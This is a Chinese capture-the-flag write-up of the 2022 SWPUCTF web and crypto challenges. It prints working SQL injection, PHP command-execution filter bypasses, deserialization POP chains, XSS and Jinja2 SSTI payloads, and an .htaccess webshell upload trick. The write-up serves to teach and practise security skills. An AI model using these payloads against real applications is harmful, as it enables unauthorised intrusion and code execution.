0


2022 SWPUCTF Web+Crypto方向wp

文章目录

2022 SWPUCTF WP

web

欢迎来到web安全

签到题,F12直接找出flag在这里插入图片描述

easy_sql

  1. 首先根据提示传入?wllm=1看看有无回显在这里插入图片描述
  2. 然后我们发现了正常回显,接着用单引号试试闭合方式在这里插入图片描述
  3. 通过对回显错误信息的分析,为了方便观察,我把包裹的引号隔开’ ‘1’’ LIMIT 0,1 ’ 这样我们很容易发现后面多出来了一个引号,由此可知该题为单引号闭合字符型漏洞 下面我们尝试用order by爆出列数在这里插入图片描述
  4. 当order by 4的时候返回没有这个clause,我们再尝试使用order by 3无报错,那么下一步进行联合查询在这里插入图片描述
  5. 下面直接放出payload//爆表?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+//爆列名?wllm=-1'unionselect1,2,group_concat(column_name)from information_schema.columnswhere table_name='test_tb'--+//爆字段?wllm=-1' unionselect1,2,group_concat(fllaag)from test_tb--+
  6. 得到最终flag在这里插入图片描述

happy_rce

  1. 首先进去题目如图在这里插入图片描述
  2. 提示post一个url,这里if判断条件里有isset用于判断是否传入了url参数,那就post请求传url=1看看,这里可以用hackbar或者burp suite都可
  3. 然后if里面还有一个校验cookie的语句,按提示改就行在这里插入图片描述
  4. 回显了一个php文件,直接看看里面是什么在这里插入图片描述
  5. 这里过滤了很多,但是没有过滤system和ls,所以我们可以利用其查看文件目录?url=system('ls');但是里面没有看到类似flag的东西,那就进入根目录看看,但是空格被过滤了,可以用${IFS}绕过?url=system('ls${IFS}/');然后想办法读取文件,cat tac tail都被过滤了,那我们还可以利用nl查看文件内容,这里发现数字被过滤了,我们想到了来匹配,但是也被过滤了,尽管如此,我们还可以用?来匹配单个字符?url=system('nl${IFS}/flllllllll?aaaaaaaaaag');最后得出flag在这里插入图片描述
  6. 下面再再介绍一种非预期解,利用异或然后post传参直接cat读取flag,这里用的师傅的payload,贴上他的博客a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'拼接起来:$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST$___=$$__; //$___=$_POST$_($___[_]);//assert($_POST[_]);放到一排就是:$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);在这里插入图片描述

do_not_wakeup

  1. 从这道题的标题便可以猜到这题是在考察php反序列化绕过__wakeup()函数
  2. 在这里插入图片描述
  3. 简单阅读代码可以发现,__wakeup()方法会首先被激活,覆盖变量的值使flag不能被回显,因此这里需要绕过__wakeup()方法,__wakeup函数是在php在使用反序列化函数unserialize()时,会自动调用的函数。只要序列化序列化的中的成员数大于实际成员数,即可绕过。<?phpclass A{ private $are_you_a_hacker; public function __construct() { $this->are_you_a_hacker='yesyesyes'; }}$a=new A();echo urlencode(serialize($a));?>这里是private不能从外面进行赋值,而且序列化后会出现特殊的东西,我们url编码一下方便复制,O%3A1%3A%22A%22%3A1%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D然后讲成员数改成2即可,post传入得到flagdata=O%3A1%3A%22A%22%3A2%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D在这里插入图片描述

newnew

  1. 看到题目在这里插入图片描述
  2. 分析代码,下面的报错是因为多加了一个new Exception类,然而没有对应的catch语句,造成了严重级别的错误使得程序提前退出了,这样反序列化对象不能被正常销毁,__destruct()也就不会被调用,所以需要强制执行。这里贴两篇文章利用PHP垃圾回收机制构造POP链 PHP 原生类的利用
  3. 这道题也就是利用这两个知识拿到flag,具体原理上面讲的很清楚就不再赘述,下面给出payload//关键函数多了个new,因此利用php原生类操作//找到flag所在文件<?phpclassA{public$a='DirectoryIterator';public$b='glob:///f*';}echoserialize(array(newA,newA));?>``````//然后将后面那个序列改成和前面一样即可?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}}``````//读取文件,并和上面一样修改序列?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}}最后得到flag在这里插入图片描述

baby_pop

  1. 进入题目可知传入参数source查看class.php文件在这里插入图片描述
  2. 然后就是一个反序列化构造pop链的题<?phpclassdstbp{private$cmd;private$content;publicfunction__construct($cmd,$content){$this->cmd=$cmd;$this->content=$content;}publicfunction__invoke(){($this->cmd)($this->content);}}classm1sery{public$ctf;public$time="Two and a half years";publicfunction__construct($ctf){$this->ctf=$ctf;}publicfunction__toString(){return$this->ctf->show();}publicfunctionshow():string{return$this->ctf.": Duration of practice: 2.5 years";}}classs0rry{private$name;private$password;public$hint="hint is depend on you";public$key;publicfunction__construct($name,$password){$this->name=$name;$this->password=$password;}publicfunction__destruct(){echo$this->hint;}}classjiangnaij{protected$code;publicfunction__call($name,$arguments){($this->code)();}}?>可以从目标函数开始分析,也就是dstbp类里的($this->cmd)($this->content);可以控制变量的值去获取flag,要想执行该函数先激活__invoke()方法,该类在调用函数的方式调用一个对象时会被激活,那么可以利用__call()方法里的($this->code)();激活,该方法又可以被m1sery类中的return $this->ctf->show();激活,那么继续往前推,需要echo $this->hint;来激活__tostring()方法,那么整条链子就构造出来了,下面给出php代码<?phpclassdstbp{private$cmd;private$content;publicfunction__construct($cmd,$content){$this->cmd=$cmd;$this->content=$content;}}classm1sery{public$ctf;}classs0rry{public$hint;public$key;}classjiangnaij{protected$code;publicfunction__construct($a){$this->code=$a;}}$b=news0rry();$c=newm1sery();$b->hint=$c;$a=newdstbp('system',"ls /");$d=newjiangnaij($a);$c->ctf=$d;var_dump(urlencode(serialize($b)));?>最终拿下flag在这里插入图片描述这里覆盖掉了环境变量,如果没覆盖也可以用system(‘env’)或者直接看phpinfo

happy_php

  1. 在这里插入图片描述
  2. 知识点套娃题,由外到内一个一个解开就好了
  3. 首先是md5截断比较,写个能跑的脚本就行from multiprocessing.dummy import Pool as tpimport hashlibimport datetimeknownMd5 ='666666'#已知的md5明文defmd5(text):return hashlib.md5(str(text).encode('utf-8')).hexdigest()deffindCode(code): key = code.split(':') start =int(key[0]) end =int(key[1])for code inrange(start, end):if md5(code)[0:6]== knownMd5:print(code)#获取最后时间戳并格式化 fi1 =int(datetime.datetime.now().strftime('%S')) fi2 =int(datetime.datetime.now().strftime('%f')) fi = fi1 + fi2 /1000000print("您的用时:"+str(fi - st)+"s")breaklist=[]# 获取初始时间戳并格式化,用于计时,对功能p用没得st1 =int(datetime.datetime.now().strftime('%S'))st2 =int(datetime.datetime.now().strftime('%f'))st = st1 + st2 /1000000for i inrange(1):# 这里的range(number)指爆破出多少结果停止list.append(str(10000000*i)+':'+str(10000000*(i+1)))pool = tp()# 使用多线程加快爆破速度pool.map(findCode,list)pool.close()pool.join()
  4. 然后是一个md5弱比较,可以用数组绕过,也可以用0e绕过,详细可见这篇文章
  5. 接着是一个md5碰撞,php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去所以我们需要一个,md5前不相等,而md5后全等的array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  6. 最后get传入对应值即可获得flag<?php$a=0.58;echointval($a*100);#57?>

easy_xss

  1. 后续更新了hint在这里插入图片描述
  2. 根据后台代码将前后两个script标签闭合掉,可以实现xss注入,弹窗弹flag字段即可获得flag';</script><script>alert('flag')</script><script>var s='1
  3. 或者直接使用通用 XSS 攻击字串手动检测 XSS 漏洞```/*-/*/*\/*'/*"/**/(/* */oNcliCk=alert("flag"))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("flag")//>\x3e````能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

baby_ssrf

  1. flag1: POST传入 url=http://sudo.cc/flag.php然后查看源码即可,这里试了短链接重定向绕过但是被过滤了
  2. flag2: 访问/.git得到
  3. flag3: 源码漏洞扫描,用御剑扫就行,flag3在wwwroot.zip里面

sql2

  1. 在这里插入图片描述
  2. 根据提示可以猜测是GET型报错注入
  3. 首先判断闭合方式,然后用大小写等绕过各种WAF//爆库?wllm=-1%27/**/oR/**/extrAcTvAlUe(1,coNCat(0x7e,database()))%23//爆表?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/INFORMATION_SCHEMA.tables/**/WHERE/**/TABLE_SCHEMA=DATABASE())))%23//爆列名?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/INFORMATION_SCHEMA.columns/**/WHERE/**/TABLE_name='test_tb')))%23//爆字段内容在这里插入图片描述//这里显示不完全可以用substr()函数截取字符串?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,substr((SELECT/**/GROUP_CONCAT(flag)/**/FROM/**/test_tb),20)))%23

php_upload

  1. 思路是传入图片马,然后用文件包含,连上蚁剑获取flag
  2. 在这里插入图片描述
  3. 在这里插入图片描述
  4. 在这里插入图片描述

can_you_faster

  1. 通过阅读内容我们可以知道这是人类难以完成的工作,那么我们就借助计算机的算力,写一个python脚本,这里用到了re库和requests库,建议结合函数用法食用,查看源代码,我们利用正则匹配到要计算的式子,利用eval进行计算,下面给出python脚本源码import timeimport requestsimport resession = requests.session()//会话保持,不然每次都是算第一题while1: url ="http://175.24.172.136:30050/" a=str(session.get(url).text)//返回网页的内容 result = re.compile(">(.*)= </a></div")//正则匹配到要算的式子 res1=re.compile("</a>加油!还差(.* ?)道题</div>")//匹配到计算的进度 aa=result.findall(a) f="".join(aa) r = re.sub("<a style=\"color: #9191ff\">","", f)//去除匹配中多余的东西 e=r[0:-1] d=eval(e) data={'result':d } time.sleep(1) res = session.post(url=url,data=data) bb = res1.findall(res.text)print(bb) flag = re.compile('(swpu\{.+?\})').findall(res.text)print(flag)

easy_flask

  1. 根据提示,这是一道没有过滤的SSTI漏洞,首先进去看到HINT直接点进去,既然是ssti,我们试试url加上{{7*7}}看看会发生什么在这里插入图片描述
  2. 说明我们找对地方咯 查看一手{{config}}在这里插入图片描述发现环境变量好像可以利用的样子,那就试试{{config.__class__.__init__.__globals__['os'].popen('env').read()}}没想到真出了
  3. 当然也可以常规的ls命令列出目录,然后利用cat等读取
  4. 下面给出绕过过滤的一些payload 下面开始列出所有子类//如果关键词被过滤,可以用拼接{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}然后找一下可利用的子类以及下标all_class ="<class 'type'>, <class 'weakref'>"all_class = all_class.split(',')for n inrange(len(all_class)):if'os'in all_class[n]:print('{} {}'.format(n, all_class[n]))运行如下PS C:\Users\Administrator\Downloads> python .\code.py87 <class 'posix.ScandirIterator'>88 <class 'posix.DirEntry'>117 <class 'os._wrap_close'>260 <class 'tempfile._TemporaryFileCloser'>475 <class 'werkzeug.wsgi.ClosingIterator'>xxxxxxxxxx PS C:\Users\Administrator\Downloads> python .\code.py87 <class 'posix.ScandirIterator'>88 <class 'posix.DirEntry'>117 <class 'os._wrap_close'>260 <class 'tempfile._TemporaryFileCloser'>475 <class 'werkzeug.wsgi.ClosingIterator'>123456然后执行命令即可{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}另外还有一些命令执行的绕过cat、flag等关键字被过滤,简单绕过一下读取flag即可{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('ls').read()}}如果过滤了{{ . [ _ \x request print string这些> {{ :用{%%}代替> > . :用attr()代替> > [ :用getitem()代替> > \x : 用Unicode代替> > print,request,string:不用管用不到,直接执行命令就行
  5. 再补充一个无回显的payload框架:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}使用这个框架可以不用回显就能拿到命令执行的eval方法

easy_include

  1. 首先进行代码审计在这里插入图片描述
  2. 上面定义了一个WAF函数,然后需要我们传入两个参数key和file,先要绕过call_user_func()回调函数的返回值弱比较 可以用session_start,error_reporting,json_last_error
  3. 接着因为前面已经包含过一次文件了,所以我们要绕过include_once限制file=php://filter/read=convert.BAse64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php得到一串base64编码的东西,解码后得到flag

ez_upload

  1. 在这里插入图片描述
  2. 根据提示要借助配置文件和编码转换的力量,那么首先传入.htaccess文件> 可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。> AddType application/x-httpd-php .abc> php_value auto_append_file “php://filter/convert.base64-decode/resource=shell.abc”> 把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php phpinfo();?>加密变成PD9waHAgcGhwaW5mbygpOz8+
  3. 然后上传马shell.abc,用蚁剑连接即可找出flag
  4. 当然这是非预期解,给出的提示蛮多没用到,那么提示是为什么呢,因为本来还有一个绕过open_basedir设置的,这文章介绍的很全面。

sql3

  1. 布尔盲注

Crypto

善哉善哉

  1. 下载是个7z文件,那重命名为1.7z解压出一张图片,明显是图片隐写,放到winHEX试一试,发现文件尾有一串看着像摩斯密码的字符串在这里插入图片描述
  2. 复制到解密工具解密在这里插入图片描述
  3. 看到新佛曰就知道是什么加密了,下面给出佛曰那一套解密工具 新佛曰 佛曰 佛又曰
  4. 在这里插入图片描述32位md5加密后,格式包裹一下就得到flag了

AES

  1. 解压后打开py文件,根据题目,这是AES加密算法,给出了密钥和密文以及表在这里插入图片描述
  2. 那么直接利用python的AES库解出明文即可import base64from Crypto.Cipher import AESiv ='1229002635654321'key ='nssctfneedcrypto'data ='862EoKZMO3sqpNlzyvIW5G/8MFeAI/zgGXcgi5eNOL8='defAES_de(key, data):# 解密过程逆着加密过程写# 将密文字符串重新编码成二进制形式 data = data.encode("utf-8")# 将base64的编码解开 data = base64.b64decode(data)# 创建解密对象 AES_de_obj = AES.new(key.encode("utf-8"), AES.MODE_CBC, iv.encode("utf-8"))# 完成解密 AES_de_str = AES_de_obj.decrypt(data)# 去掉补上的空格 AES_de_str = AES_de_str.strip()# 对明文解码 AES_de_str = AES_de_str.decode("utf-8")return AES_de_strdata = AES_de(key, data)print(data)#NSSCTF{NSS_CRYPTO_NEED_YOU_0000}

爆破MD5

  1. //给出的信息data='Boom_MD5****'flag=MD5(data)print(flag)#0618ac93d4631df725bceea74d0*****
  2. 不难看出这是md5明文密文缺失,下面给出爆破脚本import hashlibfor i inrange(32,127):for j inrange(32,127):for k inrange(32,127):for l inrange(32,127): m = hashlib.md5()# 获取一个md5加密算法对象 m.update(str('Boom_MD5'+chr(i)+chr(j)+chr(k)+chr(l)).encode("utf-8"))# 指定需要加密的字符串 des = m.hexdigest()if'0618ac93d4631df725bceea74d0'in des:# 如果得到的密文和我们预期的密文相同,输出print(des)#data='Boom_MD5****'#flag=MD5(data)#print(flag)#0618ac93d4631df725bceea74d0*****

Welcome to Modern Cryptography

  1. 在这里插入图片描述
  2. 给了三个文件,密文,公钥和私钥,点进去的内容不难看出这是一道RSA解密
  3. 直接放工具梭哈在这里插入图片描述

All in Base

这道题涉及base32,base45,base62,base64,acill85,然后根据特征来解密就好,basecrack解不了base45,那就给出解密网站,需要科学上网

标签: web安全 安全

本文转载自: https://blog.csdn.net/qq_46266259/article/details/127582848
版权归原作者 ph0ebus 所有, 如有侵权,请联系我们删除。

“2022 SWPUCTF Web+Crypto方向wp”的评论:

还没有评论